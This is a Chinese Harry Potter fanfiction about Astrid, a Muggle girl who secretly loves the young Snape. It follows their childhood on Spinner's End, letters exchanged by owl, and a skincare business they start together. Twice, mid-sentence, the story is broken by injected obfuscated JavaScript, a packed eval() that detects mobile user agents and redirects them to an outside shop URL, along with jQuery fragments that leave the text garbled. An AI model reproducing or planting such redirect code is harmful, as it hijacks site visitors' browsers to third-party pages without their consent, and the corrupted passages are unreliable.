《[HP]之一个麻瓜》 1. 暗恋是一个人的狂欢 1. 困意像蜘蛛尾巷经年不散的雾气一样,沉甸甸地压在眼皮上。阿斯特丽德·杜兰特已经打了十一个哈欠,第十一个哈欠打到一半时,她的下巴甚至发出了轻微的、抗议似的咔哒声。 但她的脑子清醒得很,清醒得足够让她第一千零一次地意识到一个事实:暗恋是一个人的兵荒马乱,而长久的、偏执的暗恋,就是一个人的狂欢。她,阿斯特丽德·杜兰特,就是这场盛大狂欢里唯一的、不知疲倦的参与者。 同为“那条肮脏街道的臭小孩”——她是这么称呼他们俩的,带着点自嘲的亲昵——阿斯特丽德已经认识那个有着半长黑发、总是阴沉着脸的男生五六年了。从她六岁被姑妈家那张油腻的沙发勉强接纳,搬进蜘蛛尾巷,又进入附近那所灰扑扑、让所有体面家长都避之不及的小学后,她就和斯内普做同桌了。 不怎么交流的那种。 这很正常,在蜘蛛尾巷,过多的交流往往意味着麻烦。但这不妨碍她……注意他,因为他们是同类。一样的课本皱巴巴,一样的袖口磨得发毛,一样在午饭时间肚子发出尴尬的咕噜声,以及一样在课间被那几个蠢货追着跑。只不过,他比她厉害一点。他似乎藏着什么秘密,或是某种不为人知的本事,总能神不知鬼不觉地报复回去。今天扯他头发的混蛋,明天会发现自己的书包里全是鼻涕虫;昨天踹他书包的蠢货,今天走路会莫名其妙地摔跤。 她不行。课本被撕了,她只能默默粘好;衣服被剪了,她只能趁姑妈不注意笨拙地缝两针,哪怕针脚歪得像蜈蚣;脸被打破了,她只能仰着头等鼻血自己止住。她没那个本事反击,更没本事让姑妈去学校找人理论。她那位姑妈,能记得每天给她留一口面包边角料,就已经是仁至义尽了。去跟班主任谈心?做梦去吧。 但在八岁那年,发生了一件事。那几个最爱捉弄人的家伙,在她身上故技重施,扯断了她的书包带子,把她的书和本子扔得满地都是。斯内普从旁边经过时,停下了脚步。他沉默地用那双黑漆漆的眼睛盯着那几个男孩,嘴角牵出一个冷冰冰的、让阿斯特丽德后来回想起来觉得像极了某种反派角色的弧度。然后,那几个坏家伙就像被无形的绳子绊了一跤,一个接一个地惨叫着。下一秒,他们出现在了学校屋顶的烟囱顶上,挤成一团,哇哇大哭。 放学路上,她揉着发酸的肩膀,鼓起勇气虚心请教他究竟是怎么做到的。可他一声不吭,黑发遮住半边脸,脚步迈得更快,浑身散发着“离我远点”的气息,讳莫如深。 没关系,厉害的人都有秘密,她能理解。从那天起,她会把自己放学后去杂货店帮忙搬箱子换来的一点硬面包,掰成两半,在上学前分给他一半,充当他俩熬过漫长夜晚和更漫长上午的早餐。放学时,她会不远不近地跟在他身后,像一个忠心耿耿的小尾巴。 斯内普从没赶她走。他只是某天停下脚步,用沙哑又低沉的声音,头也不回地说:“你爱跟就跟着吧,但别指望我太多。我们不是一路人。” 对,他总这么说。仿佛在提醒她,更是在提醒他自己。他平等地厌恶和鄙视这个街区、这个学校、这个班级上的每一个同学,包括她。但当下雨时,她的破伞彻底散架,他会把自己的伞扔给她,然后自己顶着书包冲进雨里。当那几个家伙又盯上她,扯她书包带子的时候,他依旧会停下脚步,用那种冷冰冰的、能让空气都降温的语调说几句刻薄话,然后——她看不清怎么回事——那些坏家伙就出现在学校房顶的烟囱上,或者倒挂在路边的树上,狼狈得像一群受惊的猴子。 “你真厉害!西弗勒斯!”她总是这么喊,语气里带着毫不掩饰的崇拜。 而他,神秘莫测的斯内普,总是不着一词。 阿斯特丽德以为他就是这样的,对谁都是这样的,对所有人都竖起一道冰冷的、布满尖刺的墙。 直到她看到了那个红头发的女孩。 她像一团温暖的、跳跃的火焰,出现在这片灰蒙蒙的街区。他总去找那团火焰,他们一起去附近的公园,坐在秋千上,脑袋凑在一起,低声交流着什么。他脸上的冷漠会消融,眼睛里会有她从未见过的光。 阿斯特丽德躲在一棵枯萎的灌木丛后面,觉得自己活脱脱就是一只偷窥的、可悲的小丑。她的心被嫉妒的毒液浸泡着,发酵着,酸涩得几乎要炸开。可她忍不住偷看。 然后她看见——他伸出修长的、略显苍白的手指,指尖仿佛变魔术一般,凭空托出一朵柔嫩的、带着晨露的雏菊。而那个红头发女孩惊喜地笑着,她伸出手,那朵雏菊从她指尖飘了起来,轻轻旋转。 所以,他们是同类。 而她,被彻彻底底地排除在外。当然,还有那个女孩的姐姐。 现在,只有她是无法摆脱这条肮脏街道的臭小孩了。一个永远站在墙外,踮着脚往里看的小丑。 2. 七月份的蜘蛛尾巷热得像个巨大的、生了锈的烤箱。阿斯特丽德·杜兰特攥着刚从杂货店换来的脆面包片,在斯内普家门口堵住了他。 她等了将近二十分钟,热得觉得自己快要像黄油一样化在门框上了。 门开了。斯内普站在那里,依旧穿着那件明显属于他母亲的女士衬衫——领口太大,袖口太长,但不知怎的,被他穿出了一种阴沉的、生人勿近的气场。然而今天,他那张通常阴郁得像要下雨的脸上,出现了一种奇怪的、几乎可以称之为雀跃的神情。 阿斯特丽德递过面包片时注意到了:他手里捏着一个淡黄色的信封,封口处有一枚拆开过的、深紫色的、上面印着一个盾形徽章的火漆印。 “那是什么?”她好奇地问,同时用目光示意那个信封。 斯内普正打算出门。他约好了莉莉今天在公园的秋千架下碰面——既然他收到了录取通知书,那么莉莉肯定也收到了。他迫不及待地想跟她分享这个好消息,并且,向她和那个讨人厌的佩妮证明,他说的一切都是真的。他说的那些关于另一个世界的话,关于他们与众不同的话,以及那些凭空发生的奇妙事件都有合理解释的话。 “……录取通知书。”他低头看了看自己手中的信封,接过面包片后,犹豫了几秒——大概是五秒钟,阿斯特丽德后来仔细数过——然后把信封递过来,“要看看吗?” 好歹是五年的同桌。反正她又不是没见过他那些“神秘”的打击报复方式,他没什么好隐瞒的。 阿斯特丽德眼睛一亮,迅速拍掉手上的面包渣,在裙子上擦了擦手,然后接过那个淡黄色信封,展开阅读。 片刻后,她抬起头,眼睛瞪得很大。 “你是巫师?”她惊奇地看着斯内普,语气里是毫不掩饰的兴奋和向往,“这太酷了!那个学校是什么样子的?肯定很神秘吧?城堡吗?有幽灵吗?课上都学什么?” 她问了一连串问题,像一挺失控的机关枪。 斯内普收回信件,语气平静但也难掩期待:“嗯,巫师。我要去霍格沃茨上七年学,那里是所有巫师都向往的地方。” “可是要怎样判断自己是不是一个巫师呢?”她边走边跟他聊天——斯内普已经迈开步子朝公园的方向走了,她自然跟了上去,“像你之前那样?把那些家伙变到烟囱上去?” “嗯,那是小巫师特有的魔力表现,可以用来保护自己。”斯内普走得很快,衬衫下摆在热风里微微飘动。 阿斯特丽德猜到了他是要去找那个红头发女孩。她没有停下脚步,尽管心底某 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莉莉好看——这点毋庸置疑,她有一头闪闪发亮的红头发,像火焰一样在阳光下跳动。莉莉友善——她看见斯内普时笑得很灿烂,是纯粹的明媚笑容,阿斯特丽德很少在蜘蛛尾巷见到。莉莉活泼、热情——比她那个站在不远处的姐姐佩妮好了不知道多少倍。 但是,也没有好到像公主、精灵或某位从天而降的女神那样,让斯内普把目光黏在她身上几乎移不开的地步吧? 阿斯特丽德坐在一丛开始枯萎的灌木后面,自以为隐蔽地、酸溜溜地望着那两个坐在秋千上的人。他们凑在一起,低声交谈着什么——大概是分院,还有那个她永远无法进入的世界,以及他们即将共同拥有的未来。 她能看见斯内普的侧脸——那张侧脸在面对莉莉时,线条柔和得几乎不像他自己。 回家的路上,斯内普明显心情很好。那种好心情几乎要从他阴沉的外壳下面溢出来,像是某种违禁品被强行塞进了一个过于窄小的容器。 阿斯特丽德看了他的侧脸几次——五次,具体来说——才终于出声: “你刚才给莉莉变的那个,”她用手指比划了一下,“就是那个花,也能给我变一个吗?” 她抬起眼,带着期待:“我想晒干做书签。” 她没说自己根本没有几本书,更没说自己其实只是想留住一点东西,一点属于那个魔法世界的、他即将前往的那个世界的东西。 斯内普停下脚步侧头看着她,那双黑眼睛在下午的阳光里显得格外深邃。阿斯特丽德几乎可以确定他会拒绝——他对她向来如此,不远不近,不冷不热,偶尔施舍一点帮助,但从不真正让她靠近。 可紧接着,他慢慢抬起手,苍白的手掌向上摊开,修长的手指微微收拢。就在阿斯特丽德的注视下,那只手掌心里渐渐开出一朵花。 白色的,柔嫩的,带着几滴晶莹的、不知道是不是露水的小水珠,雏菊。 阿斯特丽德屏住呼吸,小心翼翼地接过那朵花。它很轻,但花瓣的触感是真实的,带着一丝凉意。 “谢谢。”她声音有点哑。 斯内普沉默地收回手,继续往前走。 阿斯特丽德跟在后面,把那朵雏菊举在眼前,对着阳光仔细端详。花瓣近乎透明,能看见光线从背面透过来,染上一层淡淡的金色。 “……真可惜我不是巫师。”她又小声嘀咕了一遍。 这回斯内普顿了顿脚步,但没有回头:“也许……”他的声音飘忽得像一阵风,“也许不是也没什么不好的。” 阿斯特丽德低头看着手里的雏菊,跟在那个即将离开的人身后,走在蜘蛛尾巷坑坑洼洼的人行道上。七月份的阳光很烈,但她把那朵花护得很好,不让它被晒蔫了。 这是他为她变的第一朵花。 她要把这朵花做成书签,夹在她最珍贵的书里,夹在这个即将分别的夏天里。 2. 圣诞礼物 3. 同样是开学,阿斯特丽德敢肯定,斯内普比自己要开心雀跃多了——尽管用“雀跃”这个词来形容他那张永远阴沉的脸,就像用“活泼”来形容一块石头一样不合适。 但他确实逃离了蜘蛛尾巷,去了那个向往已久的、充满奇迹的奇幻世界,而她呢?她还得去那所灰扑扑的学校,面对那一帮稍有兴致就会欺负她的蠢货。 这次不会再有那个黑发黑眼的同桌帮她报复回去了。没有人会把那些混蛋变到烟囱顶上,也没有人会把自己的伞扔给她然后冲进雨里,更没有人会用那种冷冰冰的、能冻死人的语调替她出头。 所以她得靠自己才行。 她靠得不太好。 每个月总有那么几天,她挂着彩回家——有时候是嘴角破了,有时候是膝盖青了,最惨的一次是眼眶肿得像个烂掉的桃子。还有那些被扯碎的作业本,她得花好几个晚上重新抄写,抄得手指发酸。 放学后,她一个人慢吞吞地抱着四处漏风的书包往回走。经过那个最高的烟囱时——就是当年那几个坏家伙待过的烟囱——她总会驻足几秒,抬头看着那个黑漆漆的洞口。 然后她收回视线,继续沉默地往回走。 不用再跟别人分食少得可怜的面包了。但她发现,之前算得上可口的早餐,现在愈发难吃了。干巴巴的,像嚼锯末一样。她常常嚼着嚼着就停下来,盯着对面的空位置发呆,也不知道自己在想什么。 数不清有多少个夜晚,她坐在那本摊开的旧词典面前,对着夜空发呆。词典里夹着那朵压干的雏菊书签——花瓣已经变成了半透明的淡褐色,但她一直留着。 她听斯内普跟莉莉隐约提起过那些会送信的猫头鹰。会不会某个晚上,就会有一只带着信的猫头鹰叩响她的窗户呢? 没有。 一直都没有。 已经到了圣诞节,还是没有。 阿斯特丽德深知斯内普的家庭条件也不怎么好。她当然不是盼着一份昂贵或精致的礼物——她还没那么不知好歹。她只是盼着……他的消息。哪怕只是一张纸条,写着“我很好”或者“霍格沃茨有鬼魂”之类的。 但看来他已经把自己忘记了。 这也很正常。一个只交流过寥寥数语的麻瓜同学,一个知晓他是巫师的普通人,一个连分院仪式是什么都不明白的局外人——好像的确是没什么可惦念的。 她也想过主动给斯内普写信。可是写好了以后要怎么寄,她完全不知道。麻瓜邮局可以往霍格沃茨送信吗?霍格沃茨有同名同姓的人吗?她连他分到了哪个学院都不知道——格兰芬多?斯莱特林?她偷听他和莉莉聊天时好像提过这两个词,但她根本搞不清那是什么。 真是……算不得可以贸然给他写信的人吧? 就这样,等到圣诞假期都过了,阿斯特丽德也没有等来只言片语,更没有见到那个黑发黑眸的身影。假期里她曾借着帮杂货店送货的机会,去斯内普家问过艾琳夫人。艾琳看上去比从前更憔悴了,只说“他一切都好,应该没什么事”。 “应该”——也就是说艾琳也没收到过斯内普的信。 阿斯特丽德后来想过,如果是她,她离开了蜘蛛尾巷,去了一个充满无限可能的奇幻城堡,她也不会想要给姑妈一家写信的。她甚至可能会把那个地方从记忆里彻底抹掉,像抹掉一块污渍。 所以,她完全能理解斯内普。 暑假的蝉鸣又响了不知多少日后,斯内普终于回来了。 他比之前长高了一点——大概一英寸左右,穿着一身短袖衬衫和黑色长裤,头发还是那么长、那么油,依旧遮住半边脸。但阿斯特丽德眼尖地注意到,他将一根细长的小木棍插在了腰侧的衬衫下面,隐藏得很好,但如果知道该看哪里,就能发现。 “那是什么?”她好奇地问,目光黏在那个微微凸起的位置。 斯内普看了她一眼,语气平淡:“魔杖。” 他似乎觉得这样解释太简单了——阿斯特丽德未必能理解这个概念——于是又难得地补充道:“用来释放魔力和咒语的工具。就像中世纪骑士的宝剑一样重要。” 阿斯特丽德有些明白了。她的眼睛亮起来,期待地看向他的脸:“那你是不是已经学会很多咒语了?魔力更厉害了吗?” 她想看看他能不能变出更厉害的东西,比雏菊更厉害的东西。 斯内普简略地点头:“嗯。但是魔法部规定,小巫师离校期间不能擅自使用魔法。” 他说这话时,语气里有一种微妙的、难以察觉的遗憾。阿斯特丽德能听出来,那遗憾不是假的,他似乎比她更遗憾。 为什么? 阿斯特丽德偷偷往他家客厅里瞄了一眼。托比亚——斯内普的父亲——正瘫在破旧的沙发上,鼾声如雷,周围散落着几个空酒瓶,空气中似乎都弥漫着一股廉价酒精的臭味。 她觉得自己似乎能理解一些了。 他进入了魔法世界,他喜欢魔法,喜欢那个世界的运转规则。与此同时,他更讨厌麻瓜世界了——讨厌这个酗酒的父亲,讨厌这条肮脏的街道,讨厌这里的一切。 作为麻瓜,阿斯特丽德自觉不好再打探关于那个世界的事了。那会让她显得更不懂他,也会让他觉得自己是在出于社交礼貌而应付一个什么都不懂的局外人。 她可不想被他当成佩妮·伊万斯那种人。 “看来你在霍格沃茨适应得还不错。”她笑起来,努力让那个笑容看上去像是真的很为他欣慰——虽然心底某个角落正在一点一点地往下沉,“不过,我能给你写信吗?” 斯内普似乎没想到她会提出这个请求,他盯着她,停顿了一下才开口:“如果你愿意的话。”他的声音还是那么低沉,没有什么起伏,“可以去邮局特殊窗口雇佣一只猫头鹰。那里的人会告诉你怎么做的。” 阿斯特丽德的眼睛顿时亮了起来:“好的,我记住了。”她用力点头,像是在对自己做出某种承诺,“希望我不会打扰到你。” 斯内普看了她一眼,短得几乎可以忽略不计:“不会。” 他说完这两个字,就转身走进了那间充满酒气和霉味的屋子。门在她面前关上,发出一声闷响。 阿斯特丽德站在门外,站在七月份的毒辣太阳底下,觉得自己好像应该笑一笑,但嘴角怎么都抬不起来。 她刚才说“希望我不会打扰到你”。 他说“不会”。 这算是一个承诺吗?算是一个邀请吗?还是只是一句客套的、敷衍的、用来打发人的话? 她决定相信那是前者。 毕竟,一个人的狂欢里,总得有点什么可以指望的东西,否则也太凄凉了。凄凉得像蜘蛛尾巷下雨天的晚上,像被扯碎的作业本,像没有猫头鹰叩响的窗户。 4. 蜘蛛尾巷的冬天冷得能把人的鼻子冻掉——如果那个鼻子本来就没什么肉的话。 阿斯特丽德坐在那张嘎吱作响的书桌前,哈着气搓了搓手,然后提笔。墨水在廉价的信纸上晕开一小团,她皱了皱眉,但决定将就。 --- 致西弗勒斯: 今天可真冷。教室的窗户像是被冻住了一样,我也像被冻住了一样——主要是手指,握着笔的这三根,已经快没有知觉了。 不知道你在那边还好吗?奇幻城堡里应该会有和蔼可亲的胖女巫给大家变出暖融融的壁炉火焰?或许,你还有用魔杖让自己暖和起来的办法? 哦,我可太羡慕了。要知道,瑞娜姑妈从不舍得让壁炉多烧哪怕一分钟。她说煤炭要钱,而我的体温不要。 不知道你在那边的课业重不重?我现在几乎要没有时间去杂货店打工了——作业多得能把人埋起来,老师好像认为我们除了写作业就没有别的事可做。但好在约翰先生还给我保留了周末的兼职时间,以及脆面包片。 哦对了,说起早餐。奇幻城堡里的食物跟我们这里有什么不同吗?巫师会吃一些很不同寻常的东西吗?比如蜥蜴尾巴熬的粥,或者蟾蜍卵做的布丁? 别误会,我不是想吃——我只是好奇。 P.S.:希望我挑的这只猫头鹰不会送错信。它看起来不太聪明,刚刚还撞了两次树。 你的, 阿斯特丽德 --- 阿斯特丽德: 霍格沃茨有壁炉,每个公共休息室都有。不需要胖女巫——家养小精灵会负责添柴。 食物很正常。没有蜥蜴尾巴或蟾蜍卵布丁。如果有,也是魔药课材料,不是晚餐。 西弗勒斯.斯内普 P.S.:你的猫头鹰确实不太聪明。下次让它飞低一点,避开树枝。 --- 致西弗勒斯: 如果猜得没错,这个圣诞你不会回来了对吧。希望你在那里有一个愉快的假期。 随信附上我的圣诞礼物,希望你能喜欢。 P.S.:你上次信里提到的家养小精灵是什么?也会很多魔法吗?长得是不是很可爱?——我的意思是,可爱得像那种会在面包店橱窗里摆着的陶瓷小摆件,还是更像一只不小心穿了衣服的、脾气不太好的老猕猴桃? 你的, 阿斯特丽德 --- 斯莱特林公共休息室的窗户被叩响时,斯内普几乎一眼就认出了那只圆润的、灰扑扑的猫头鹰——和上次那只是同一只,他确信。因为它的左边翅膀上有一小撮不太对称的羽毛,飞起来时微微倾斜,像一艘快要沉没的小船。 他放下手中的羽毛笔,起身打开窗户。冰冷的空气扑面而来,夹杂着一丝城堡石壁特有的潮湿气息。他从猫头鹰腿上解下那封卷起的普通信纸——和上次一样,用的还是麻瓜那种薄薄的、容易起皱的纸——以及一个不算大的狭长盒子。 猫头鹰站在窗沿上,用一种期待的眼神看着他。斯内普与它对视了两秒,然后面无表情地关上了窗户。 信不长,很快就读完了。他看完最后一个字时,嘴角几乎难以察觉地动了动——大概是某个可以被勉强称为“反应”的微表情,如果非要往好处理解的话。 接着是打开那个盒子。 一支普通的新钢笔静静躺在里面。黑色的笔身,朴素得近乎寒酸,不是多豪华的牌子,是麻瓜学生们常用的那一种——两三个便士一支,用到最后笔尖会分叉,墨水会漏得到处都是的那种。 应该是她用打零工攒的钱买的。或许还为此省了很多顿饭? 但她不知道巫师是不用钢笔的。他们用羽毛笔。他们从来都用羽毛笔。就像他们从来不用硬币而用银西可,从来不看钟表而看沙漏,从来——这不重要。 斯内普的目光落在桌子上的半篇魔药学论文上。旁边摆着他惯用的那支鹅毛笔,以及莉莉不久前刚送来的一套新羽毛笔和墨水。那套羽毛笔做工精良,笔杆光滑,墨水瓶上还系着一根细小的金红色丝带。 他没有犹豫太久,伸手重新拿了一张上好的、适合书写的羊皮纸,然后打开那支新钢笔,吸饱魔法墨水,在羊皮纸上落笔。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334572|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 写不出来。 没有反应。笔尖划过羊皮纸,留下一道干涩的、近乎看不见的划痕。墨水下不来。 麻瓜钢笔跟这些墨水不通用。 他停顿下来,抬起笔尖看了一眼,然后抽出魔杖,轻轻点了点那瓶还剩一半的旧墨水——将其变成普通的、麻瓜用的黑墨水。墨水表面泛起一阵微弱的涟漪,颜色从墨绿变成了更深邃的、带着光泽的黑。 他把钢笔浸进去,吸饱,再次书写。 这次能写了。 --- 阿斯特丽德: 信收到了,钢笔也收到了。谢谢。 家养小精灵是一种服务于巫师家庭的生物,负责打理家务、烹饪、清洁之类的杂务。它们会魔法,但类型和巫师不太一样——更像是与生俱来的、服务于特定功能的魔法,不需要魔杖。 至于可爱——我想,你对“可爱”这个词的理解可能存在一些偏差。它们通常有一对蝙蝠似的大耳朵,一双网球那么大的、凸出的眼睛,以及一个长长的、像某种啮齿类动物的鼻子。如果你觉得上述组合可以用“可爱”来形容,那我只能说,你的审美标准和大多数人大相径庭。 圣诞快乐。 西弗勒斯·斯内普 P.S.:顺便说一句,它们对“穿了衣服”这件事有强烈的抵触情绪。如果你遇到一只穿着衣服的家养小精灵,要么它是个异类,要么你即将见证一场歇斯底里的崩溃——后者可能性更大。 --- 阿斯特丽德收到回信时,正在厨房洗盘子——确切地说,是把洗好的盘子擦干,再放进那个缺了一角的碗柜里。瑞娜姑妈是不会管这些事情的。按她的说法,她“已经养活了阿斯塔这么多年”,所以阿斯特丽德理应包揽大部分家务,以期能多换一点点零花钱。 她需要买新的文具。之前的钱都花在那支钢笔上了,她还得重新攒钱。 窗户被叩响时,她差点把手里的盘子摔了。 她连忙擦干手,看了看客厅方向——瑞娜姑妈正窝在那张破旧的扶手椅里看报纸,没有注意这边。阿斯特丽德这才蹑手蹑脚地走到窗边,小心翼翼地打开窗户。 那只灰扑扑的猫头鹰正歪着脑袋看她,左边那撮不协调的羽毛在风里微微抖动。 “谢谢你,格丽,好姑娘。”她轻声说,从它腿上解下那个薄薄的包裹和一封卷起的信,然后飞快地从灶台边摸出一根细细的鸡胸肉——那是她偷偷藏起来的,本来想留给自己明天做三明治。 猫头鹰啄起肉,满意地咕了一声,然后扑棱着翅膀飞走了。 阿斯特丽德关上窗户,靠在墙边,心跳得有点快。她展开信纸—— 没忍住笑起来。 然后她拆开那个包裹。里面是一本很薄的书,红棕色的封面上印着黑色的字:《圣殿十二神》。 这不是麻瓜的书,它的封面摸起来有一种奇怪的质感,像是某种处理过的皮革,又像是很老的羊皮纸。她小心翼翼地翻开第一页,发现里面的纸张微微泛黄,字迹清晰,有些词她不太认识,但大致能读懂。 那本书讲述的是一个巫师界的传说。传说中,圣殿十二神是最早诞生于天地间的圣迹,他们维持秩序,各司其职——虽然具体司什么职,书里写得云里雾里,仿佛故意不想让人弄明白。 之后,十二神相继陨落。每位神陨落后,残余的力量都会化为魔力,催生出巫师这一类群体。而他们的权杖也会化作无数具有魔力的树木,可供巫师制作魔杖。 最后一位神——萨姹,是专司战斗的女神。相传她原身为一条羽蛇,通体银白色,鳞片上覆盖着白色的羽毛。她人身蛇尾,白金色长发,烟紫色竖瞳,脾气不怎么好。 她陨落的地方,据说是霍格沃茨的旧址,但具体在哪无人得知。霍格沃茨的创始人之一,萨拉查·斯莱特林,在传言中曾受其指点与帮助。蛇佬腔据说就是萨姹交予他的能力。 阿斯特丽德当晚就看完了整本书。 她高兴于自己对巫师界又多了一分了解——虽然那分了解可能完全派不上用场,就像知道月亮上有多少座环形山一样。但她更高兴的是,这是斯内普主动向她介绍了属于他的世界。他没有义务这么做,他完全可以假装没收到那封信,或者敷衍地回一句“收到,谢谢”。 但他寄了一本书过来。 而最令她畅想连篇的,是萨姹的故事。 白金色头发,烟紫色竖瞳。 除了她眼睛不是竖的,其他倒还挺像。她当然清楚地知道自己就是一个普通麻瓜,和魔法完全不沾边。但……萨姹与斯莱特林的创始人有渊源。斯内普是斯莱特林学院的。 四舍五入—— 是的,她知道。她知道这叫恋爱脑。她知道这很蠢。她知道这就像用一根线去拴一艘远航的船,线会断,船会走,而她会被留在岸上。 但至少在这个平安夜里,够她做一个美梦了。 她把书压在枕头底下,躺进那张嘎吱作响的小床,闭上眼睛。 窗外的蜘蛛尾巷又冷又黑,但阿斯特丽德的嘴角弯着一个小小的弧度。 格丽应该已经回到邮局了吧?它会把自己的窝弄得暖和一点吗?它会梦到那些它撞上的树吗? 她不知道这些问题的答案。但她知道,她枕着一本巫师的书入睡,书里有一个女神,长得有点像她,而那个女神和斯莱特林有点关系,而斯内普在斯莱特林。 平安夜快乐,阿斯特丽德·杜兰特。 她在心里对自己说。 3. 合作 5. 致西弗勒斯: 很感谢你寄来的感冒药——我必须得说,它真的太有效了!是我喝过的见效最快的感冒药,对此我坚信你一定很擅长魔药制作。不知道巫师需要考虑就业吗?或许医生和药剂师会是个不错的发展领域? 以上只是我个人的小思考,希望不会太冒昧。 另外,这些感冒药的原材料贵吗?熬制费时间吗?我想我应该为此支付报酬? 不过,我必须得说,耳朵像烧开的水壶一样咕嘟咕嘟冒热气,让我看起来像一个迷你版的蒸汽火车头,还是特别滑稽的那种。当然,我也从中体会到了巫师们的乐趣——这于我而言并不是缺点。事实上,我觉得它完美无瑕。 感激你的, 阿斯特丽德 --- (夹在猫头鹰腿上的、皱巴巴的羊皮纸条,字迹潦草,像是随手从某本魔药课本的空白处撕下来的) 感冒药不收钱。 魔药治疗的原理和麻瓜医学不是一回事,所以“医生”这个职业对我没什么吸引力——我对整天听人咳嗽没兴趣。 顺便说一句,如果你下次感冒,建议不要试图用麻瓜的“多喝热水”解决。那东西对巫师都不管用,对你更没用。 火车头造型很适合你。至少比平时醒目。 S.S. --- 已经不知道第多少次喝斯内普随信寄来的精力魔药了——那些药水的味道一次比一次难以形容,最近一次喝出了烂卷心菜和旧袜子的混合风味,但效果一如既往地惊人。阿斯特丽德不对那些口感置评,也从不探究其原材料(有些真相还是不知道为好),但她不得不开始思考一件事。 显然,魔药对麻瓜是非常有效的。但它不在麻瓜世界流通——或者严谨地说,不在普通麻瓜人群中流通。 化学和生物成绩还不错的她不禁展开联想:那么,那些格外有效的魔法化妆品、保养手段,是否也能高价通过特定门路买到?比如给那些有身份地位的麻瓜政要、富商或是明星? 巫师有自己的聚居地。他们不知为何——也不知用了什么手段——隐藏了自己的存在。但是他们也是人,也要正常生活,甚至其中有些人本就来自麻瓜世界,比如斯内普和莉莉。 所以,关于两个世界的物资交换,说不定是一直存在的。只是普通民众不了解其中门道和规则罢了。 不然,为什么厉害的巫师们不干掉麻瓜首脑取而代之,将麻瓜作为奴隶,而是要离群索居,掩藏存在的痕迹? 她可不认为魔法部不让小巫师在校外使用魔法,仅仅出于对管理和安全的考虑。恐怕跟整个巫师界的默认规则也有关——不与麻瓜多接触,尽量不暴露巫师的存在。 为什么呢? 因为巫师人数少?这是显而易见的。 因为巫师打不过麻瓜?这点存疑。 但是,双方各有制约,这是可以料想到的。就像动物界里没有哪一类动物能毫无压力地称霸整个生态系统一样,巫师或是麻瓜也没法完全左右人类社会的发展。 阿斯特丽德不确信巫师世界是怎么打仗的——她隐约记得斯内提过一句“格林德沃”,语气很轻,轻得像在提某个不该被听见的、曾经很接近正确的东西——但她知道麻瓜的核武器。极端点说,当一整个地球都被这种武器夷为废墟时,她不相信有任何一个巫师能够呼吸着有放射性的空气活下去。 像故事里会骑着扫帚飞过月亮的女巫也不行。外太空没有氧气。 如果这些基本的生存条件都对巫师构不成威胁的话,那他们何不将麻瓜赶到别的星球,或是自己迁居别的星球,而是要与麻瓜瓜分有限的居住地与生存资源? 所以,巫师也是人。也有局限性。也受物理制衡。 理工科很好的阿斯特丽德自觉摸到了一点隐晦的思路与真相,心情很好地想——我是不是可以跟斯内普或者莉莉这样来自麻瓜社会的巫师合作?赚了钱大家一起分嘛。 没错。她想赚钱。急需赚钱。而赚快钱需要开辟新赛道。 于是,四年级的斯内普在平安夜这天收到了阿斯特丽德寄过来的一瓶自制护肤霜,并附言请他帮忙施加一些“无伤大雅的小魔法”,以期“改良使用效果”。 这属于作弊,他知道。 但他却觉得有趣。 于是他真的给那瓶护肤霜添加了几个无伤大雅的小魔咒——一个加强渗透的,一个延长时效的,还有一个让膏体涂抹时微微发热的,纯粹是因为他觉得这样比较有“魔法感”——然后寄了回去。 当然,他留下了那瓶明显是送给他的自制洗发香波,也同样地施加了几个增强清洁力和柔顺度的魔法,自己使用。 效果不错。头发确实比以前顺了。虽然他还是每天都穿得像个移动的黑色垃圾袋,但至少那个垃圾袋的头顶不那么油腻了。 等到了暑假,阿斯特丽德找斯内普谈了笔合作。 她捧着自己做的那些瓶瓶罐罐——大大小小加起来有七八个,有些用果酱瓶装着,有些用不知从哪搜罗来的旧药瓶——语气雀跃地说着之前那瓶被他改良过的护肤霜有多么好用。说到激动处,她甚至把半边脸凑到他面前,让他对比自己的两边脸。 “你看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334573|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !这边是用过的,这边是没用的!”她指着自己的脸颊,眼睛亮得惊人,“是不是有区别?是不是?” 斯内普面无表情地往后退了半步。 她还年轻,按理说区别应该不那么明显。但斯内普仍然从那张已经有几分少女明丽的面庞上看出了些细微的对比——左边脸颊的皮肤确实更细腻一些,毛孔更细,光泽也更均匀。 “是有些差别。”他承认,然后顿了顿,“你想怎么合作?” 他当然不会好心到无偿提供改良服务。他还没那么善良——或者说,没那么傻。 阿斯特丽德的眼睛更亮了,她飞快地把那些瓶瓶罐罐在他面前一字排开,像小贩摆摊似的。 “这是我目前做的成品。伟大又心善的巫师先生可以稍稍挥动你那根可爱的小木棍,让它们变得格外有效就好。”她眨巴眨巴眼,一副期待的模样,“至于收入,你七我三。” 斯内普看着她。 “我记得我第一年暑假就告诉过你,”他语气平淡,显然在陈述一个常识,“未成年巫师不能在校外使用魔法。” 阿斯特丽德瞄了一眼他腰侧——那里鼓着一个熟悉的、藏着魔杖的弧度。她又凑近了些,压低声音,像在分享什么见不得人的秘密: “如果你只有这一根小木棍,我当然不会提出这种明知故犯的要求。但是——你第一年上学好像用的还是艾琳夫人的魔杖?” 沉默。 斯内普的眉毛以一种极其缓慢的速度抬起了大约四分之一英寸:“成交。” 阿斯特丽德笑眯眯地伸出手:“我就知道伟大的男巫斯内普先生很慷慨。顺利的话,圣诞节你就会收到这一批的分成,以及我新做的货品。” 